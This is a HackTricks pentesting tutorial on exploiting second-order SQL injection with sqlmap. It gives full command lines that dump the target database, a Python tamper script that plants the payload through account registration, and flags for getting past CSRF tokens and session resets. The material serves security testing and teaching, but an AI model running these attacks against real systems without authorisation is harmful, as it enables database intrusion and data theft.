Second Order Injection with SQLMap
Tip
Learn & practice AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Learn & practice Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Browse the full HackTricks Training catalog for the assessment tracks (ARTA/GRTA/AzRTA) and Linux Hacking Expert (LHE).
Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group, the telegram group, follow @hacktricks_live on X/Twitter, or check the LinkedIn page and YouTube channel.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
SQLMap can exploit Second Order SQLis.
You need to provide:
- The request where the sqlinjection payload is going to be saved
- The request where the payload will be executed
The request where the SQL injection payload is saved is indicated as in any other injection in sqlmap. The request where sqlmap can read the output/execution of the injection can be indicated with --second-url or with --second-req if you need to indicate a complete request from a file.
Simple second order example:
#Get the SQL payload execution with a GET to a url
sqlmap -r login.txt -p username --second-url "http://10.10.10.10/details.php"
#Get the SQL payload execution sending a custom request from a file
sqlmap -r login.txt -p username --second-req details.txt
In several cases this won’t be enough because you will need to perform other actions apart from sending the payload and accessing a different page.
When this is needed you can use a sqlmap tamper. For example the following script will register a new user using sqlmap payload as email and logout.
#!/usr/bin/env python
import re
import requests
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.NORMAL
def dependencies():
pass
def login_account(payload):
proxies = {'http':'http://127.0.0.1:8080'}
cookies = {"PHPSESSID": "6laafab1f6om5rqjsbvhmq9mf2"}
params = {"username":"asdasdasd", "email":payload, "password":"11111111"}
url = "http://10.10.10.10/create.php"
pr = requests.post(url, data=params, cookies=cookies, verify=False, allow_redirects=True, proxies=proxies)
url = "http://10.10.10.10/exit.php"
pr = requests.get(url, cookies=cookies, verify=False, allow_redirects=True, proxies=proxies)
def tamper(payload, **kwargs):
headers = kwargs.get("headers", {})
login_account(payload)
return payload
A SQLMap tamper is always executed before starting a injection try with a payload and it has to return a payload. In this case we don’t care about the payload but we care about sending some requests, so the payload isn’t changed.
So, if for some reason we need a more complex flow to exploit the second order SQL injection like:
- Create an account with the SQLi payload inside the “email” field
- Logout
- Login with that account (login.txt)
- Send a request to execute the SQL injection (second.txt)
This sqlmap line will help:
sqlmap --tamper tamper.py -r login.txt -p email --second-req second.txt --proxy http://127.0.0.1:8080 --prefix "a2344r3F'" --technique=U --dbms mysql --union-char "DTEC" -a
##########
# --tamper tamper.py : Indicates the tamper to execute before trying each SQLipayload
# -r login.txt : Indicates the request to send the SQLi payload
# -p email : Focus on email parameter (you can do this with an "email=*" inside login.txt
# --second-req second.txt : Request to send to execute the SQLi and get the ouput
# --proxy http://127.0.0.1:8080 : Use this proxy
# --technique=U : Help sqlmap indicating the technique to use
# --dbms mysql : Help sqlmap indicating the dbms
# --prefix "a2344r3F'" : Help sqlmap detecting the injection indicating the prefix
# --union-char "DTEC" : Help sqlmap indicating a different union-char so it can identify the vuln
# -a : Dump all
Useful switches in real second-order flows
Second-order automation usually fails because the payload storage request works, but the execution request is noisy, stateful, or protected. When that happens, the following flags are usually more useful than adding more payloads:
sqlmap -r login.txt -p email \
--second-req second.txt \
--csrf-token csrf \
--csrf-url https://target.tld/profile \
--csrf-method POST \
--live-cookies cookies.txt \
--safe-req keepalive.txt \
--safe-freq 1 \
--string "Welcome back" \
--text-only
--csrf-token,--csrf-url,--csrf-method: Useful when the store or trigger request needs a fresh anti-CSRF token on every attempt.--live-cookies: Reload cookies before each request. Useful when a browser/Burp macro is refreshing session state in the background.--safe-reqand--safe-freq: Keep the workflow alive when the application logs you out or invalidates the session after a few failed probes.--string,--not-string,--regexp,--code,--text-only: Useful when the second-order response contains banners, ads, timestamps, or user-generated junk that makes diffing unstable.
When --tamper is not enough
tamper.py is still the easiest way to register a payload, log out, log in again, and trigger execution. However, on modern targets it is often cleaner to move some of the logic to request/response hooks:
--preprocess: Modify the full HTTP request before it is sent. Useful when a second-order flow needs an extra nonce, an extra parameter, or header normalization.--postprocess: Clean the HTTP response before sqlmap compares it. Useful when the second-order sink is wrapped in dynamic HTML and only a small fragment is stable.
Example request/response hooks:
#!/usr/bin/env python
def preprocess(req):
if req.data:
req.data += b"&preview=1"
#!/usr/bin/env python
import re
def postprocess(page, headers=None, code=None):
page = re.sub(br"<span>Generated at .*?</span>", b"", page or b"")
return page, headers, code
Important limitations
- Do not assume that
--second-reqwill replay the same payload inside a*placeholder in the second request. If the trigger request also needs the injected value (or a derived version of it), a customtamper,--preprocess, or a local proxy is usually required. - Do not rely on
--evalfor the second request. Official usage documents--evalfor the primary request flow; if the second request also needs per-attempt mutations, handle them inside your helper scripts instead.
This pattern is especially useful when the payload is stored in places such as:
- Filenames or image metadata that are queried later
- Registration/profile fields later consumed by admin panels
- Sorting/filtering preferences saved server-side and replayed later
- Workflow state that is only executed after a preview, export, or moderation action
References
Tip
Learn & practice AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Learn & practice Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Browse the full HackTricks Training catalog for the assessment tracks (ARTA/GRTA/AzRTA) and Linux Hacking Expert (LHE).
Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group, the telegram group, follow @hacktricks_live on X/Twitter, or check the LinkedIn page and YouTube channel.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.


